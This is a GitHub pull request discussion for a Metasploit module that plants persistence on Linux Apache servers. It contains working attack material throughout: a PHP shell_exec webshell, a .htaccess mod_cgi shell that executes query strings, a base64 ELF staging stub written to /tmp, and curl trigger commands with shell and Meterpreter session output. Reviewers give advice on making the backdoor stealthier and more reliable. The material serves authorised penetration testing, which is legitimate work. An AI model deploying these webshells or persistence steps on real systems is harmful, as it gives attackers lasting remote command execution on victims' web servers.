Skip to content

Add Apache .htaccess Persistence Module#21473

Merged
msutovsky-r7 merged 18 commits into
rapid7:masterfrom
4ravind-b:apache-htaccess-persistence
Jul 3, 2026
Merged

Add Apache .htaccess Persistence Module#21473
msutovsky-r7 merged 18 commits into
rapid7:masterfrom
4ravind-b:apache-htaccess-persistence

Conversation

@4ravind-b

Copy link
Copy Markdown
Contributor

This module adds Apache .htaccess persistence on a Linux target. It writes a malicious RewriteRule into an existing .htaccess file and drops a PHP webshell. Once deployed, an attacker can execute arbitrary commands via HTTP GET requests, even after the target reboots.

Fixes #17728

Verification

Start msfconsole.

Obtain a session on the target (Metasploitable2 used for testing):

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.112
set LHOST <your-ip>
run
background

Load and run the module:

use post/linux/manage/apache_htaccess_persistence
set SESSION 1
set HTACCESS_PATH /var/www/.htaccess
set SHELL_PATH /var/www/shell.php
set TRIGGER_URL /shell.php
run

Verify persistence deployment:

[+] mod_rewrite enabled and Apache restarted!
[+] Trigger written!
[+] Shell dropped!
[+] Persistence deployed!

Verify command execution:

curl "http://TARGET/shell.php?cmd=whoami"

Expected output:

www-data

Verify persistence survives reboot:

curl "http://TARGET/shell.php?cmd=id"

Expected output:

uid=33(www-data)

Verify the module does not run without a valid SESSION.

Screenshots

Screenshot_2026-05-17_21_30_53 Screenshot_2026-05-17_21_32_15

htaccess_payload = "\nRewriteEngine On\n"
htaccess_payload += "RewriteCond %{QUERY_STRING} trigger=shell\n"
htaccess_payload += "RewriteRule ^.*$ #{trigger_url} [L,R=302]\n"
append_file(htaccess_path, htaccess_payload)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Back the file up to loot before editing so we can restore it later


class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Verified on Metasploitable2 (Ubuntu).
},
'License' => MSF_LICENSE,
'Author' => ['4ravind-b'],

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

give credit to wireghoul

],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

should be multi shell, no?

register_options([
OptString.new('HTACCESS_PATH', [true, 'Full path to .htaccess file', '/var/www/.htaccess']),
OptString.new('SHELL_PATH', [true, 'Full path to drop shell file', '/var/www/shell.php']),
OptString.new('TRIGGER_URL', [true, 'URL path to trigger shell', '/shell.php'])

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The examples from wireghoul show putting the payload in the .htaccess file: https://github.com/wireghoul/htshells/blob/master/shell/mod_cgi.shell.bash.htaccess

I'd start with mod_cgi, its easiest although not common. In theory what we'd want in the future is something to detect if any mod_* are enabled (like mod_python, mod_perl and there rest of the mod items from wireghoul's repo) and then write the payload in a compliant way. So When coding in to check for things, make sure you do it in a loop or other expandable way.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you use AI to help with this, and it doesn't get mad at you, give it wireghoul's repo in /shell/ and let it add all the different ones


# Step 3 - Enable mod_rewrite
print_status('Enabling mod_rewrite...')
cmd_exec('a2enmod rewrite && /etc/init.d/apache2 restart')

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

restarting apache will likely be noticed by many places. I'd make the restart a boolean option, default to to true (although i'm 50/50 on that, but web servers dont restart often)


# Step 4 - Write .htaccess trigger
print_status("Writing trigger to #{htaccess_path}")
htaccess_payload = "\nRewriteEngine On\n"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

only add if its not already there

htaccess_payload += "RewriteCond %{QUERY_STRING} trigger=shell\n"
htaccess_payload += "RewriteRule ^.*$ #{trigger_url} [L,R=302]\n"
append_file(htaccess_path, htaccess_payload)
cmd_exec("chmod 644 #{htaccess_path}")

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

i think post has a chmod function already, use that

Comment on lines +75 to +76
print_status("Dropping shell at #{shell_path}")
php_payload = '<?php if(isset($_GET[\'cmd\'])){ echo shell_exec($_GET[\'cmd\']); } ?>'

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this can go away, embed the payload in .htaccess

# Step 6 - Done
print_good('Persistence deployed!')
print_status("Trigger with: curl 'http://TARGET/?trigger=shell'")
print_status("Run commands: curl 'http://TARGET#{trigger_url}?cmd=whoami'")

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

not needed

@github-project-automation github-project-automation Bot moved this from Todo to Waiting on Contributor in Metasploit Kanban May 17, 2026
@4ravind-b

Copy link
Copy Markdown
Contributor Author

Thanks for the detailed review @h00die and suggestions! I’ll work through the requested changes and update the PR

@github-actions

Copy link
Copy Markdown

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@4ravind-b

Copy link
Copy Markdown
Contributor Author

@h00die I've addressed the following review comments:

  • Embedded payload directly in .htaccess using wireghoul's exact mod_cgi approach
  • Removed shell.php entirely
  • Added backup to loot before editing
  • Check mod_cgi before enabling
  • Made Apache restart a boolean option (RESTART_APACHE)
  • Used fail_with instead of print_error
  • Check if payload already exists before writing
  • Added wireghoul to Author credits
  • Added EVENT_DEPENDENT to Reliability
  • Passes msftidy clean
  • Tested and working on Metasploitable2 (Apache 2.2.8, Ubuntu)

Currently implemented:

  • mod_cgi shell (tested and working)

Planned for follow-up:

  • mod_php (most common, high priority)
  • mod_perl
  • mod_python
  • mod_ruby
  • mod_include
  • Auto-detection of enabled mods to pick correct payload automatically

Still working on:

  • Documentation file
  • Converting to full persistence module structure

@4ravind-b

4ravind-b commented May 18, 2026

Copy link
Copy Markdown
Contributor Author

@msutovsky-r7 and @h00die Documentation has been added at:
documentation/modules/post/linux/manage/apache_htaccess_persistence.md
Covers:

  • Vulnerable Application (requirements and tested environment)
  • Verification Steps
  • Options (HTACCESS_PATH, RESTART_APACHE, SESSION)
  • Scenarios (Metasploitable2 with mod_cgi)
    Will update docs as more shell types are added.

@msutovsky-r7

Copy link
Copy Markdown
Contributor

@4ravind-b thanks for the changes, but it still doesn't seem like your module reflects the structure, function or location of persistence module. Take a look at structure of this - the persistence module should provide a "persistence" mechanism, meaning you'll receive a new shell from your persistence mechanism and then when you close that connection, restart the handler, re-trigger the persistence mechanism, you'll get a shell. Please make necessary changes. Furthermore, your module is in wrong folder - it still exists as post module, rather than persistence module, which is separate category in exploit/linux/ (in this case).

@4ravind-b

Copy link
Copy Markdown
Contributor Author

@msutovsky-r7 Thanks for the clarification! I'll:

  1. Move the module to modules/exploits/linux/persistence/
  2. Convert to Msf::Exploit::Local with install_persistence method
  3. Add payload handler so triggering .htaccess gives back a shell session

Will update the PR shortly.

@4ravind-b

4ravind-b commented May 18, 2026

Copy link
Copy Markdown
Contributor Author

@msutovsky-r7 I've moved the module to modules/exploits/linux/persistence/ and converted it to Msf::Exploit::Local using install_persistence.

The module successfully deploys the .htaccess payload and starts a handler, but I'm running into issues with payload execution:

  • cmd/linux/http/x86/shell_reverse_tcp generates commands containing semicolons, which break when executed in the CGI context.
  • linux/x86/shell_reverse_tcp writes raw shellcode into .htaccess, which Apache cannot parse correctly.

The original wireghoul .htaccess CGI approach appears to expect simple bash command execution.

Would you recommend using a different payload type here, or should the module switch to another execution approach for obtaining a shell?

Current generated .htaccess payload structure:

#!/bin/sh
winning \

echo -en "Content-Type: text/plain\r\n\r\n"

@msutovsky-r7 msutovsky-r7 self-assigned this May 18, 2026
@4ravind-b

Copy link
Copy Markdown
Contributor Author

@msutovsky-r7 @h00die I've been working on the payload execution issue but still running into the same problem — CMD payloads generate semicolons which break in the CGI context.

While waiting for guidance on the payload approach, would it be okay if I start working on another module in parallel? Happy to come back to this as soon as you advise on the payload direction.

@4ravind-b

Copy link
Copy Markdown
Contributor Author

Hi @h00die , @msutovsky-r7 , and @zeroSteiner — just a heads up: I’ll be unavailable starting this Saturday for about a week.

I’ll continue working on PR #21473 as soon as I’m back. Thanks for your patience!

@h00die

h00die commented May 20, 2026

Copy link
Copy Markdown
Contributor

general ideas to get around character issues:

  1. Use metasploit's built in badchars:
          'BadChars' => "\x00\x0a\x0d",
        },
  1. Use encoding like base64 on the payload, then have the .htaccess file base64 decode it right into a shell.

@4ravind-b

Copy link
Copy Markdown
Contributor Author

@h00die Thanks for the suggestions! I'll implement the base64 approach — encode the payload and have .htaccess decode and execute it. Will update the PR when I'm back next week.

@4ravind-b

Copy link
Copy Markdown
Contributor Author

@h00die I've tested on both Apache 2.2.8 (Metasploitable2) and Apache 2.4.67 (local). Unfortunately, both suggestions still fail in the CGI context.

  1. The #winning \ line continuation trick doesn't prevent Apache from treating echo as an invalid directive on either version.

  2. The base64 approach also fails — Apache still parses echo as an Apache directive before CGI execution happens.

Tested structure:

#!/bin/sh
# winning \
echo -en "Content-Type: text/plain\r\n\r\n"
echo hello
Options +ExecCGI
AddHandler cgi-script .htaccess

Error log on both versions:

Invalid command 'echo'

Could you share the exact working example or Apache configuration needed for this trick to work?

@h00die

h00die commented May 20, 2026

Copy link
Copy Markdown
Contributor

best i can do is point you to the source repo. try their work and modify from there. While I tried this a little, it was YEARS ago

@4ravind-b

Copy link
Copy Markdown
Contributor Author

@h00die still wrapping my head around exactly how Apache handles the CGI execution order here — the more I dig into it the more interesting (and confusing) it gets! Will go through the wireghoul examples and come up with something concrete. Also is the wireghoul repo the only reference for this? Asking because I'm currently preparing for CEH and planning toward OSCP, so any resources you'd recommend would really help!

@h00die

h00die commented May 21, 2026

Copy link
Copy Markdown
Contributor

good progress! that should help you now work out how to get an arbitrary payload working

no need to include screenshots, usually just your msf console is good

@4ravind-b

Copy link
Copy Markdown
Contributor Author

@h00die Thanks! I'll work on integrating arbitrary payload support.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this is leftover file

mod_check = cmd_exec('apache2ctl -M 2>/dev/null || httpd -M 2>/dev/null')
unless mod_check.include?('cgi')
print_status('Enabling mod_cgi...')
cmd_exec('a2enmod cgi')

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Use create_process as cmd_exec should be depreciated

Comment on lines +136 to +138
def exploit
install_persistence
end

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The install_persistence is called automatically when the module is persistence module

Comment on lines +114 to +116
htaccess_payload += "# Self contained .htaccess web shell - Part of the htshell project\n"
htaccess_payload += "# Written by Wireghoul - http://www.justanotherhacker.com\n"
htaccess_payload += "# This is considered a line spanning comment in apache and not by shell #winning \\\n"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This doesn't have to be here

htaccess_payload += "AddHandler cgi-script .htaccess\n"

print_status("Writing payload to #{htaccess_path}")
write_file(htaccess_path, htaccess_payload)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
write_file(htaccess_path, htaccess_payload)
Fail_with(Failure::PayloadFailed, "Cannot write to #{htaccess_path}") unless write_file(htaccess_path, htaccess_payload)

Comment on lines +98 to +102
if datastore['RESTART_APACHE']
print_status('Restarting Apache...')
create_process('/etc/init.d/apache2 restart')
print_good('Apache restarted!')
end

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Don't you need root here?

print_good('Persistence deployed!')

# Encode the payload for URL and show trigger command
print_status("Trigger: curl 'http://TARGET/.htaccess'")

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Preferably, this print would print out actual address where a user can trigger persistence, furthermore, it might be nice to get the first "persistence" session automatically by just sending the request to that address.

Comment thread modules/exploits/linux/persistence/apache_htaccess.rb
htaccess_payload += "# Written by Wireghoul - http://www.justanotherhacker.com\n"
htaccess_payload += "# This is considered a line spanning comment in apache and not by shell #winning \\\n"
htaccess_payload += "echo -en \"Content-Type: text/plain\\r\\n\\r\\n\";cmd=$(echo $QUERY_STRING | sed -e's/+/ /g' -e's/%20/ /g');echo \"\\$ $cmd\";$cmd 2>&1;exit\n"
htaccess_payload += "# The exit ensures we never reach the following lines\n"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
htaccess_payload += "# The exit ensures we never reach the following lines\n"

@4ravind-b

Copy link
Copy Markdown
Contributor Author

@msutovsky-r7 just pushed fixes for the review comments — removed the extra comment lines from the payload, wrapped write_file with fail_with, added a root check before the Apache restart, and the trigger URL now prints the actual target host. Tested on Metasploitable2 and it's working fine. Still working on auto-triggering a session after deployment

@4ravind-b

Copy link
Copy Markdown
Contributor Author

@msutovsky-r7 @h00die

Updated with reverse shell support.

I initially tried embedding payload.encoded directly, but CMD payloads were generating commands with semicolons and & characters that didn't survive well in the CGI context. I also tested the /dev/tcp bash redirect approach, but Metasploitable2's Apache mod_cgi executes scripts with /bin/sh, so that wasn't reliable either.

Ended up switching to a mkfifo + nc based reverse shell, which works cleanly under a plain /bin/sh CGI environment.

Verified on Metasploitable2:

[+] Persistence deployed!
[*] Trigger: curl 'http://192.168.1.112/.htaccess'

sessions -l
  1  meterpreter x86/linux  root @ metasploitable
  2  shell
sessions -i 2
sh-3.2$ whoami
www-data

@4ravind-b

Copy link
Copy Markdown
Contributor Author

@h00die @msutovsky-r7

Implemented h00die's suggestion of using a stub to write payload.encoded to disk and execute it.

Approach:

  • .htaccess uses wireghoul's command webshell (executes $QUERY_STRING)
  • Module generates an ELF binary from payload.encoded, base64-encodes it
  • Sends HTTP request with stub: echo <base64> | base64 -d > /tmp/.p; chmod 755 /tmp/.p; /tmp/.p&
  • Handler catches a proper meterpreter session automatically

Used base64+echo instead of mkfifo+nc because the special characters (;, |, &) in mkfifo commands don't survive URL decoding in the CGI context. Base64 encoding sidesteps this entirely while achieving the same result.

Verified on Metasploitable2:

[+] Persistence deployed!
[*] Generating and staging payload...
[*] Triggering payload via http://192.168.1.112/.htaccess ...
[*] Sending stage (1062760 bytes) to 192.168.1.112
[*] Meterpreter session 2 opened

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
OS: Ubuntu 8.04 (Linux 2.6.24-16-server)
Meterpreter: x86/linux

@msutovsky-r7 msutovsky-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Have you tested this module against real target? Testing it against Ubuntu 22.04 x64 (5.15.0) results in this:

msf exploit(linux/persistence/apache_htaccess) > [*] Fetch handler listening on 192.168.3.7:8080
[*] HTTP server started
[*] Adding resource /EO6WzfXF6CGyqdBiy1rT5w
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Apache is running and .htaccess is writable
[*] Backing up /var/www/html/.htaccess to loot...
[+] Backup saved to: /home/ms/.msf4/loot/20260702103849_default_10.5.134.171_htaccess.backup_561502.txt
[*] Checking Apache modules...
[*] Enabling mod_cgi...
[!] Skipping Apache restart — root privileges required
[*] Writing payload to /var/www/html/.htaccess
[+] Payload written!
[+] Persistence deployed!
[*] Generating and staging payload...
[-] Exploit failed: Msf::NoCompatiblePayloadError Failed to generate an executable payload due to an invalid platform or arch.

Also would you mind elaborating on this part?

    print_status('Generating and staging payload...')
    elf_data = generate_payload_exe
    encoded = Rex::Text.encode_base64(elf_data).gsub("\n", '')

    # Send stub via webshell: decode payload, execute it
    stub = "echo+#{encoded}|base64+-d>/tmp/.p;chmod+755+/tmp/.p;/tmp/.p&"
    print_status("Triggering payload via http://#{target_host}/.htaccess ...")

I'm not sure at all what is your goal here and you're already using ARCH_CMD as payload, so you're free to use cmd/linux/http/x64/... payloads at your will.

@4ravind-b

Copy link
Copy Markdown
Contributor Author

@msutovsky-r7 Yeah, I only tested on Metasploitable2, so I completely missed the Ubuntu 22.04 case.

I originally started with just ARCH_CMD for the webshell. Then I decided to auto-trigger a Meterpreter session and completely forgot that ARCH_CMD doesn't support executable payloads. I ended up adding the ELF generation code without really thinking it through, which is why it broke.

I've removed all of that now and will go back to keeping the module focused on the webshell deployment. I'll push the fix shortly.

@msutovsky-r7

Copy link
Copy Markdown
Contributor

@msutovsky-r7 Yeah, I only tested on Metasploitable2, so I completely missed the Ubuntu 22.04 case.

I originally started with just ARCH_CMD for the webshell. Then I decided to auto-trigger a Meterpreter session and completely forgot that ARCH_CMD doesn't support executable payloads. I ended up adding the ELF generation code without really thinking it through, which is why it broke.

I've removed all of that now and will go back to keeping the module focused on the webshell deployment. I'll push the fix shortly.

The issue mentioned above is not bound to Metasploitable2, because it does exactly same thing in Metasploitable2. I would suggest testing your changes before committing and pushing.

@4ravind-b

Copy link
Copy Markdown
Contributor Author

@msutovsky-r7 @h00die

I tested the simplified webshell version on Metasploitable2 after removing the ELF generation logic. It deploys successfully, and command execution works via HTTP:

[+] Payload written!
[+] Persistence deployed!
[*] Trigger persistence at: http://192.168.1.112/.htaccess?whoami

Verified with:

curl "http://192.168.1.112/.htaccess?whoami" → www-data
curl "http://192.168.1.112/.htaccess?id" → uid=33(www-data)

The current implementation is focused on CGI-based command execution and no longer includes the ELF auto-trigger logic.

Additional note on Ubuntu 22.04 testing:

While validating on Ubuntu 22.04, I encountered a few issues:

  1. Initial access: Ubuntu doesn't include the vulnerable vsftpd 2.3.4 service, so I used a Meterpreter payload to obtain the initial session instead.
  2. Current behavior: The webshell-based approach executes commands via HTTP but doesn't automatically establish a Meterpreter session. Commands can be triggered manually, for example:
curl "http://target/.htaccess?whoami"
  1. Code issue found: If the .htaccess file doesn't already exist, read_file() returns nil, causing .include? to raise an exception.

Fix:

existing = read_file(htaccess_path) rescue ""
if existing.include?('AddHandler cgi-script .htaccess')

This handles the case where the .htaccess file doesn't exist yet.

@github-project-automation github-project-automation Bot moved this from Waiting on Contributor to In Progress in Metasploit Kanban Jul 3, 2026
@msutovsky-r7 msutovsky-r7 added the rn-modules release notes for new or majorly enhanced modules label Jul 3, 2026
@msutovsky-r7 msutovsky-r7 merged commit 7946fac into rapid7:master Jul 3, 2026
19 checks passed
@github-project-automation github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban Jul 3, 2026
@msutovsky-r7

Copy link
Copy Markdown
Contributor

Release Notes

Adds a new persistence module, exploits/linux/persistence/apache_htaccess, that plants wireghoul's mod_cgi .htaccess web shell on a Linux Apache target.

@4ravind-b

Copy link
Copy Markdown
Contributor Author

Thank you @msutovsky-r7 and @h00die for your support.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

Status: Done

Development

Successfully merging this pull request may close these issues.

Apache htaccess Persistence

4 participants